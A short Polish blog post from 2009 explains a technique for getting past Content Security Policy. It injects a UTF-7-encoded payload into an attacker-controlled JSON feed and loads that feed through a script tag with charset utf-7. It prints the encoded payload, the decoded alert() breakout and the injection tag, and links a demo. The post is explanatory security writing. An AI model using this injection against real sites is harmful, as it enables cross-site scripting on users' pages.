Gareth Heyes opublikował właśnie na swoim blogu, informację dotyczącą sposobu ominięcia zabezpieczeń w #CSP http://www.thespanner.co.uk/2009/11/23/bypassing-csp-for-fun-no-profit/
Na czym polega błąd?
Każda strona z feedem JSON'a nad którym może mieć kontrolę atakujący, może zostać zarażona własnym ciągiem JSON'a, dzięki czemu można kontrolować pozostałe elementy feed'a.
Wyjaśnijmy to na przykładzie. W UTF-7 ABC pojawia się jako:
+ACcAQQBCAEMAJw-
jeżeli przykładowa odpowiedź w JSON wygląda tak:
[{'friend':'something',email:'something'} ]
mając kontrolę nad wartością: something, możemy umieścić własny kod:
+ACcAfQBdADsAYQBsAGUAcgB0ACgAJwBNAGEAeQAgAHQAaABlACAAZgBvAHIAYwBlACAAYgBlACAAdwBpAHQAaAAgAHkAbwB1ACcAKQA7AFsAewAnAGoAbwBiACcAOgAnAGQAbwBuAGU-
(w UTF-8: '}];alert('May the force be with you');[{'job':'done )
Umieszczając w/w kod, powstaje nam:
[{'friend':'luke','email':'+ACcAfQBdADsAYQBsAGUAcgB0ACgAJw
BNAGEAeQAgAHQAaABlACAAZgBvAHIAYwBlACAAYgBlACAAdw
BpAHQAaAAgAHkAbwB1ACcAKQA7AFsAewAnAGoAb
wBiACcAOgAnAGQAbwBuAGU-'}]
czyli:
[{'friend':'luke','email':''}];alert(’May the force be with you’);[{'job':'done'}]
Wstrzykując takie dane, poprzez odwołanie się do skryptu (ustawiając kodowanie na UTF-7):
"><script src="http://some.website/test.json" charset="utf-7"></script>
uruchamiamy kod pod CSP, omijając zabezpieczenia.
Przykładowe działające demo: http://www.businessinfo.co.uk/labs/cspluke/test.html
Więcej informacji na temat CSP: http://blog.mozilla.com/security/2009/09/30/a-glimpse-into-the-future-of-browser-security/
Testy CSP: http://people.mozilla.org/~bsterne/content-security-policy/demo.cgi
Zapraszam do testów :)
23 lis 2009
Subskrybuj:
Komentarze do posta (Atom)
Brak komentarzy:
Prześlij komentarz